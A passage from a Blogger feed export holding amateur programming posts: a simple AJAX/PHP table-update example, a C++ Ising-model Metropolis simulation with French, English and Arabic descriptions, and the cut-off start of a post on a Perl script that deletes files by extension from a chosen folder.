/&gt;function sndReq(action) {&lt;br /&gt;    http.open('get', 'ajax.php?action='+action);&lt;br /&gt;    http.onreadystatechange = handleResponse;&lt;br /&gt;    http.send(null);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function handleResponse() {&lt;br /&gt;    if(http.readyState == 4){&lt;br /&gt;        var response = http.responseText;&lt;br /&gt;        var update = new Array();&lt;br /&gt;&lt;br /&gt;        if(response.indexOf('|' != -1)) {&lt;br /&gt;            update = response.split('|');&lt;br /&gt;            document.getElementById(update[0]).innerHTML = update[1];&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php;" &gt;&amp;lt;?&lt;br /&gt;//##################################################&lt;br /&gt;// find more codes on codes-n-scripts.blogspot.com&lt;br /&gt;//##################################################&lt;br /&gt;//&lt;br /&gt;// this is ajax.php file&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;  switch($_REQUEST['action']) {&lt;br /&gt;    case 'A1':&lt;br /&gt;      echo "A1|Je suis dans la case bleue";&lt;br /&gt;      break;&lt;br /&gt;    case 'B1':&lt;br /&gt;      echo "B1|je suis dans la case verte";&lt;br /&gt;      break;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;?&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre class="brush: xml;" &gt;&amp;lt;html&gt;&amp;lt;body&gt;&lt;br /&gt;&amp;lt;script src="ajax.js"&gt;&amp;lt;/script&gt;&lt;br /&gt;&amp;lt;!-- find more codes on codes-n-scripts.blogspot.com --&gt;&lt;br /&gt;&amp;lt;!-- this is index.html --&gt;&lt;br /&gt;&amp;lt;TABLE BORDER="0"&gt;&lt;br /&gt;&amp;lt;TR&gt;&lt;br /&gt;&amp;lt;TD id="A1" HEIGHT="200" WIDTH="197" BGCOLOR="blue" ALIGN="center"&gt;&lt;br /&gt;&amp;lt;/TD&gt;&lt;br /&gt;&amp;lt;/TR&gt;&lt;br /&gt;&amp;lt;TR&gt;&lt;br /&gt;&amp;lt;TD id="B1" BGCOLOR="green" ALIGN="center"&gt;&lt;br /&gt;&amp;lt;/TD&gt;&lt;br /&gt;&amp;lt;TD HEIGHT="350" WIDTH="750" BGCOLOR="red" id="B2" ALIGN="center"&gt;&lt;br /&gt;&amp;lt;a href="javascript:sndReq('A1')"&gt;Afficher un text dans la case bleue&amp;lt;/a&gt;&amp;lt;BR&gt;&lt;br /&gt;&amp;lt;a href="javascript:sndReq('B1')"&gt;Afficher un text dans la case verte&amp;lt;/a&gt;&lt;br /&gt;&amp;lt;/TD&gt;&lt;br /&gt;&amp;lt;/TR&gt;&lt;br /&gt;&amp;lt;/TABLE&gt;&lt;br /&gt;&amp;lt;/body&gt;&amp;lt;/html&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-4019014238777108507?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/4019014238777108507/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=4019014238777108507&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4019014238777108507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4019014238777108507'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/ajax-php-html-simple-ajax-example-un.html' title='[AJAX &amp;&amp; PHP &amp;&amp; HTML] A simple AJAX example | Un exemple simple d&apos;utilisation de AJAX'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-7913121026924050120</id><published>2010-01-12T14:06:00.001-08:00</published><updated>2010-01-12T14:06:58.432-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='c++'/><category scheme='http://www.blogger.com/atom/ns#' term='network'/><category scheme='http://www.blogger.com/atom/ns#' term='lattice'/><category scheme='http://www.blogger.com/atom/ns#' term='spin'/><category scheme='http://www.blogger.com/atom/ns#' term='reseaux'/><category scheme='http://www.blogger.com/atom/ns#' term='model'/><category scheme='http://www.blogger.com/atom/ns#' term='ising'/><title type='text'>[C++] Theoretical Physics: Ising model | Physique Théorique: Modèle d'Ising</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushCpp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;  &lt;li&gt;&lt;a href="#A36387168709188696"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#B36387168709188696"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#C36387168709188696"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#D36387168709188696"&gt;&lt;span&gt;C++&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A36387168709188696"&gt;Modèle d'Ising (simulation de spins sur un réseau)&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl" style="text-align: left;"&gt;Compiler le code pour l'exécuter sur un terminal&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B36387168709188696"&gt;Ising model (simulation of spin on a network)&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl" style="text-align: left;"&gt;Compile the code to run on a terminal&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C36387168709188696"&gt;&lt;div dir="rtl"&gt;نموذج Ising على الشبكة&amp;nbsp;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl"&gt;تأليف السكريبت لإستعماله في Terminal&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D36387168709188696"&gt;&lt;a onClick='opennew("D36387168709188696")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: cpp;" rel="long"&gt;/***********************************/&lt;br /&gt;/*  Find more codes and scripts on&lt;br /&gt;/*   codes-n-scripts.blogspot.com&lt;br /&gt;/*  ~Ising model~&lt;br /&gt;/***********************************/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;math.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;time.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;#define N 30&lt;br /&gt;#define M 30&lt;br /&gt;#define nmax  100000&lt;br /&gt;#define nzero  40000&lt;br /&gt;&lt;br /&gt;double rg_1() ;&lt;br /&gt;int rg_2() ;&lt;br /&gt;int rg_3() ;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt; FILE *output_file;&lt;br /&gt; output_file = fopen("output.dat", "w");&lt;br /&gt;&lt;br /&gt;int i,j,n;&lt;br /&gt;int i1,j1,i2,i3,i4,j4,i5,j5,i6,j6,i7,i8,i9,i10; &lt;br /&gt;int s1,s2,randsigma ;&lt;br /&gt;int sigma[N][M] ;&lt;br /&gt;int H1,H2,H2a,H2b,H2c,H2d,H3,H3a,H3b,H3c,H3d,H4;&lt;br /&gt;double H[nmax] ;&lt;br /&gt;double Ma[nmax] ;&lt;br /&gt;double r,z ;&lt;br /&gt;double deltaE ;&lt;br /&gt;double J,B,beta,T;&lt;br /&gt;double E, sigmaE, Mag, sigmaMag;&lt;br /&gt;&lt;br /&gt;/* parameters */&lt;br /&gt;&lt;br /&gt;J = 1.0 ;&lt;br /&gt;B = 1.0 ;&lt;br /&gt;T = 3.5 ;&lt;br /&gt;&lt;br /&gt;beta =1.0/T  ;&lt;br /&gt;&lt;br /&gt;/* initial configuration */&lt;br /&gt; &lt;br /&gt;for(i = 0; i &lt; N; i++){  &lt;br /&gt;   for(j = 0; j &lt; M; j++){&lt;br /&gt;     sigma[i][j] = rg_2()*2-1  ; &lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;printf("\n" );&lt;br /&gt;printf("Lattice in:\n" );&lt;br /&gt;printf("\n" );&lt;br /&gt;&lt;br /&gt;for(i5 = 0; i5 &lt; N; i5++){  &lt;br /&gt;   for(j5 = 0; j5 &lt; M; j5++){&lt;br /&gt;     if(sigma[i5][j5]==-1){&lt;br /&gt;     printf("  ");&lt;br /&gt;     }else{&lt;br /&gt;     printf("* ");&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;printf("\n" ); &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;printf("\n" ); &lt;br /&gt;&lt;br /&gt;for(n = 1; n &lt; nmax+1; n++){&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; if(n&gt;2){&lt;br /&gt;&lt;br /&gt; s1 = rg_3() ;&lt;br /&gt; s2 = rg_3() ;&lt;br /&gt; &lt;br /&gt; randsigma = sigma[s1][s2] ;&lt;br /&gt;&lt;br /&gt; if(randsigma == 1 ){&lt;br /&gt; sigma[s1][s2] = -1 ;&lt;br /&gt; }&lt;br /&gt; else{&lt;br /&gt; sigma[s1][s2] = 1 ;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;   /* calculation of the energy */&lt;br /&gt; &lt;br /&gt; H1=0;&lt;br /&gt;&lt;br /&gt;for(i1 = 1; i1 &lt; N-1 ; i1++){&lt;br /&gt;  for(j1 = 1; j1 &lt; M-1; j1++){ &lt;br /&gt;   H1 = sigma[i1][j1]*sigma[i1][j1+1]+sigma[i1][j1]*sigma[i1][j1-1]+sigma[i1][j1]*sigma[i1-1][j1]+sigma[i1][j1]*sigma[i1+1][j1]+ H1;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;H2=0; H2a=0; H2b=0; H2c=0; H2d=0;&lt;br /&gt;&lt;br /&gt; for(i2 = 1; i2 &lt; N-1 ; i2++){&lt;br /&gt;   H2a= sigma[i2][0]*sigma[i2][1]+sigma[i2][0]*sigma[i2][M-1]+sigma[i2][0]*sigma[i2-1][0]+sigma[i2][0]*sigma[i2+1][0]+ H2a;&lt;br /&gt;   H2b= sigma[0][i2]*sigma[0][i2-1]+sigma[0][i2]*sigma[0][i2+1]+sigma[0][i2]*sigma[1][i2]+sigma[0][i2]*sigma[N-1][i2]+ H2b;&lt;br /&gt;   H2c= sigma[i2][N-1]*sigma[i2-1][N-1]+sigma[i2][N-1]*sigma[i2+1][N-1]+sigma[i2][N-1]*sigma[i2][0]+sigma[i2][N-1]*sigma[i2][M-2]+ H2c;&lt;br /&gt;   H2d= sigma[N-1][i2]*sigma[N-1][i2-1]+sigma[N-1][i2]*sigma[N-1][i2+1]+sigma[N-1][i2]*sigma[N-2][i2]+sigma[N-1][i2]*sigma[0][i2]+ H2d ;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; H2=H2a+H2b+H2c+H2d; &lt;br /&gt; &lt;br /&gt; H3=0; H3a=0; H3b=0; H3c=0; H3d=0;&lt;br /&gt;&lt;br /&gt; H3a=sigma[0][0]*sigma[0][1]+sigma[0][0]*sigma[0][N-1]+sigma[0][0]*sigma[M-1][0]+sigma[0][0]*sigma[1][0] ;&lt;br /&gt; H3b=sigma[N-1][N-1]*sigma[N-1][M-2]+sigma[N-1][N-1]*sigma[N-1][0]+sigma[N-1][N-1]*sigma[N-2][M-1]+sigma[N-1][N-1]*sigma[0][M-1] ;&lt;br /&gt; H3c=sigma[0][N-1]*sigma[0][N-2]+sigma[0][N-1]*sigma[0][0]+sigma[0][N-1]*sigma[1][N-1]+sigma[0][N-1]*sigma[M-1][N-1] ;&lt;br /&gt; H3d=sigma[N-1][0]*sigma[N-1][1]+sigma[N-1][0]*sigma[N-1][M-1]+sigma[N-1][0]*sigma[0][0]+sigma[N-1][0]*sigma[N-2][0] ;&lt;br /&gt;&lt;br /&gt; H3=H3a+H3b+H3c+H3d; &lt;br /&gt;&lt;br /&gt; H4=0;&lt;br /&gt; for(i4 = 0; i4 &lt; N; i4++){  &lt;br /&gt;   for(j4 = 0; j4 &lt; M; j4++){&lt;br /&gt;     H4 = sigma[i4][j4]+H4 ; &lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt; Ma[n-1] =( (double) H4 )/((double) N*M) ;  /* magnetisation */&lt;br /&gt;&lt;br /&gt; H[n-1] = -J*((double) H1+H2+H3 )-B*( (double) H4) ; /* energy */&lt;br /&gt;&lt;br /&gt; fprintf( output_file , " %d %f %f \n",n-1,H[n-1],Ma[n-1] );  /* print to the file */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* flip the spin */&lt;br /&gt;&lt;br /&gt; if(n==1){&lt;br /&gt;&lt;br /&gt;/* choose the spin randomly */&lt;br /&gt;&lt;br /&gt; s1 = rg_3() ;   &lt;br /&gt; s2 = rg_3() ;&lt;br /&gt;&lt;br /&gt; randsigma = sigma[s1][s2] ; &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt; if(randsigma == 1 ){&lt;br /&gt; sigma[s1][s2] = -1 ;&lt;br /&gt; }&lt;br /&gt; else{&lt;br /&gt; sigma[s1][s2] = 1 ;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; if(n&gt;1){&lt;br /&gt;&lt;br /&gt;/* Metropolis  algorithm */&lt;br /&gt; &lt;br /&gt; deltaE = 0 ; &lt;br /&gt;&lt;br /&gt; deltaE = H[n-1]- H[n-2] ;    &lt;br /&gt;&lt;br /&gt; r = exp( (double) -beta*deltaE ) ; &lt;br /&gt;&lt;br /&gt; z = rg_1() ;&lt;br /&gt;&lt;br /&gt; /* printf("r=%f, z=%f, Energy[%d]=%f, Energy[%d]=%f\n", r,z,n-1,H[n-1], n-2,H[n-2]  ) ; */&lt;br /&gt;&lt;br /&gt;if( H[n-1]&gt; H[n-2]  &amp;&amp; z&gt;r ){&lt;br /&gt;&lt;br /&gt;if(sigma[s1][s2]==1){&lt;br /&gt; sigma[s1][s2] = -1 ;&lt;br /&gt; }&lt;br /&gt; else{&lt;br /&gt; sigma[s1][s2] = 1 ;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt; H[n-1]= H[n-2];&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;printf("\n" );&lt;br /&gt;printf("Lattice out :\n" );&lt;br /&gt;printf("\n" );&lt;br /&gt;&lt;br /&gt;for(i6 = 0; i6 &lt; N; i6++){  &lt;br /&gt;   for(j6 = 0; j6 &lt; M; j6++){&lt;br /&gt;   if(sigma[i6][j6]==1){&lt;br /&gt;     printf("* ");&lt;br /&gt;     }else{ &lt;br /&gt;     printf("  ");&lt;br /&gt;    }&lt;br /&gt; }&lt;br /&gt;printf("\n" ); &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;printf("\n" ); &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*  energy  */&lt;br /&gt;&lt;br /&gt;E=0.0 ; sigmaE=0.0 ;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;for(i7 = nzero; i7 &lt; nmax; i7++){&lt;br /&gt;  E=H[i7]+E ;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;E = E/((double) nmax-nzero  ) ;&lt;br /&gt;&lt;br /&gt;/*  energy dispersion */&lt;br /&gt;&lt;br /&gt;for(i8 = nzero; i8 &lt; nmax; i8++){&lt;br /&gt;sigmaE =pow((double) E-H[i8],2.0) + sigmaE ; &lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;sigmaE = sqrt( (double) sigmaE/((double) nmax-nzero-1)) ;&lt;br /&gt;&lt;br /&gt;/*  magnetisation   */&lt;br /&gt;&lt;br /&gt;Mag=0.0 ; sigmaMag=0.0 ;&lt;br /&gt;&lt;br /&gt;for(i9 = nzero; i9 &lt; nmax; i9++){&lt;br /&gt;  Mag=Ma[i9]+Mag ;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt; Mag = Mag/((double) nmax-nzero  ) ;&lt;br /&gt;&lt;br /&gt;/*  magnetisation  dispersion  */&lt;br /&gt;&lt;br /&gt;for(i10 = nzero; i10 &lt; nmax; i10++){&lt;br /&gt;sigmaMag =pow((double) Mag-Ma[i10],2.0) + sigmaMag ; &lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;sigmaMag = sqrt( (double) sigmaMag/((double) nmax-nzero-1)) ;&lt;br /&gt;&lt;br /&gt;/*  print mean values */&lt;br /&gt;&lt;br /&gt;printf("beta=%f, J=%f, B=%f \n",beta,J,B) ;&lt;br /&gt;&lt;br /&gt;printf("\n" ); &lt;br /&gt;&lt;br /&gt;printf(" Energy = %f ± %f \n",E ,sigmaE );&lt;br /&gt;&lt;br /&gt;printf("\n" ); &lt;br /&gt;&lt;br /&gt;printf(" Magnetisation = %f ± %f \n",Mag ,sigmaMag );&lt;br /&gt;&lt;br /&gt;printf("\n" ); &lt;br /&gt;&lt;br /&gt;fclose(output_file);&lt;br /&gt;&lt;br /&gt;return(0) ; &lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*  pseudo-random number generators  */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*   0..1 real numbers generator   */&lt;br /&gt;&lt;br /&gt;double rg_1()&lt;br /&gt;{&lt;br /&gt;  double ps;&lt;br /&gt;  static int flag = 1 ;&lt;br /&gt;      time_t date ;&lt;br /&gt;      if(flag)&lt;br /&gt; { srand(time(&amp;date) );&lt;br /&gt; flag=0;&lt;br /&gt; }&lt;br /&gt;  ps =(double) rand()/(RAND_MAX+1.0) ;&lt;br /&gt;  return(ps);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*   O,1 integers generator    */&lt;br /&gt;&lt;br /&gt;int rg_2()&lt;br /&gt;{&lt;br /&gt;  int ps;&lt;br /&gt;  static int flag = 1 ;&lt;br /&gt;      time_t date ;&lt;br /&gt;      if(flag)&lt;br /&gt; { srand(time(&amp;date) );&lt;br /&gt; flag=0;&lt;br /&gt; }&lt;br /&gt;      ps =(int) rand()/(((unsigned)RAND_MAX+1.0)/2) ;&lt;br /&gt;  return(ps);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*   O,1,2...N-1 integers generator    */&lt;br /&gt;&lt;br /&gt;int rg_3()&lt;br /&gt;{&lt;br /&gt;  int ps;&lt;br /&gt;  static int flag = 1 ;&lt;br /&gt;      time_t date ;&lt;br /&gt;      if(flag)&lt;br /&gt; { srand(time(&amp;date) );&lt;br /&gt; flag=0;&lt;br /&gt; }&lt;br /&gt;      ps =(int) rand()/(((unsigned)RAND_MAX+1.0)/N) ;&lt;br /&gt;  return(ps);&lt;br /&gt;}&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-7913121026924050120?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/7913121026924050120/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=7913121026924050120&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/7913121026924050120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/7913121026924050120'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/c-theoretical-physics-ising-model.html' title='[C++] Theoretical Physics: Ising model | Physique Théorique: Modèle d&apos;Ising'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-2986681790783539381</id><published>2010-01-12T13:51:00.000-08:00</published><updated>2010-01-12T13:52:10.562-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='extensions'/><category scheme='http://www.blogger.com/atom/ns#' term='clean'/><category scheme='http://www.blogger.com/atom/ns#' term='delete'/><category scheme='http://www.blogger.com/atom/ns#' term='supprimer'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='nettoyer'/><title type='text'>[PERL] Script to delete viruses from a folder | Script pour supprimer des virus d'un répertoire</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;  &lt;li&gt;&lt;a href="#A83873405959457150"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#B83873405959457150"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#C83873405959457150"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#D83873405959457150"&gt;&lt;span&gt;PHP&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A83873405959457150"&gt;Supprimer des virus d'un répertoire...&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;u&gt;Utilisation:&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New'; font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#FFFFFF"&gt;&lt;span class="Apple-style-span" style="background-color: rgb(0, 0, 0);"&gt;perl rem.pl /media/diskwindows/documents exe&lt;/span&gt;&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="line-height: 20px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;va enlever tout les&amp;nbsp;exécutables&amp;nbsp;de ce dossier (assurez vous d'avoir enlever toutes les applications .exe&amp;nbsp;utiles).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="line-height: 20px; font-size: small; "&gt;Vous pouvez aussi l'appliquer avec n'importe quelle&amp;nbsp;extension&amp;nbsp;pour supprimer les fichiers correspondants, par éxemple pour effacer toutes les photos .jpg:&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: left; "&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New'; font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="background-color: rgb(0, 0, 0);"&gt;&lt;font class="Apple-style-span" color="#FFFFFF"&gt;perl rem.pl /media/diskwindows/documents jpg&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="background-color: rgb(255, 0, 0);"&gt;&lt;font class="Apple-style-span" color="#FFFFFF"&gt;Attention : ne jamais l'appliquer sur un dossier système!&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small; "&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New'; font-weight: bold; "&gt;&lt;br&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B83873405959457150"&gt;Remove viruses from a folder ...&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;u&gt;Usage:&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New'; font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#FFFFFF"&gt;&lt;span class="Apple-style-span" style="background-color: rgb(0, 0, 0);"&gt;perl rem.pl /media/diskwindows/documents exe&lt;/span&gt;&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="line-height: 20px; "&gt;&lt;span class="Apple-style-span" style="line-height: 24px; "&gt;&lt;span title="va enlever tout les exécutables de ce dossier (assurez vous d'avoir enlever toutes les applications .exe utiles)." style="background-color: rgb(255, 255, 255); "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;will remove all the executables in this folder (make sure to remove all applications .exe useful from this folder).&lt;br&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;You can apply it with any extension to delete these files, for example delete all files. Jpg:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: left; "&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New'; font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="background-color: rgb(0, 0, 0);"&gt;&lt;font class="Apple-style-span" color="#FFFFFF"&gt;perl rem.pl /media/diskwindows/documents jpg&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="background-color: rgb(255, 0, 0);"&gt;&lt;font class="Apple-style-span" color="#FFFFFF"&gt;Attention : ne jamais l'appliquer sur un dossier système!&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small; "&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New'; font-weight: bold; "&gt;&lt;br&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C83873405959457150"&gt;إزالة الفيروسات من ملف &lt;span class="fullpost"&gt;&lt;br&gt;&lt;div style="text-align: right;"&gt;&lt;span class="Apple-style-span" style="line-height: 24px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;&lt;b&gt;&lt;font class="Apple-style-span" color="#FFFFFF"&gt;&lt;span class="Apple-style-span" style="background-color: rgb(0, 0, 0);"&gt;perl rem.pl /media/windowdisk/documents exe&lt;/span&gt;&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: right;"&gt;&lt;span class="Apple-style-span" style="line-height: 24px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;‎(سيتم إزالة كافة الملفات التنفيذية في هذا المجلد )تأكد من نزع&amp;nbsp;&amp;nbsp;كافة التطبيقات المفيدة&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: right;"&gt;&lt;span class="Apple-style-span" style="line-height: 24px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;.jpgيمكنك تطبيق ذلك مع أي تمديد لحذف هذه الملفات ، على سبيل المثال حذف كل الملفات &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: right;"&gt;&lt;span class="Apple-style-span" style="line-height: 24px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;&lt;font class="Apple-style-span" color="#FFFFFF"&gt;&lt;span 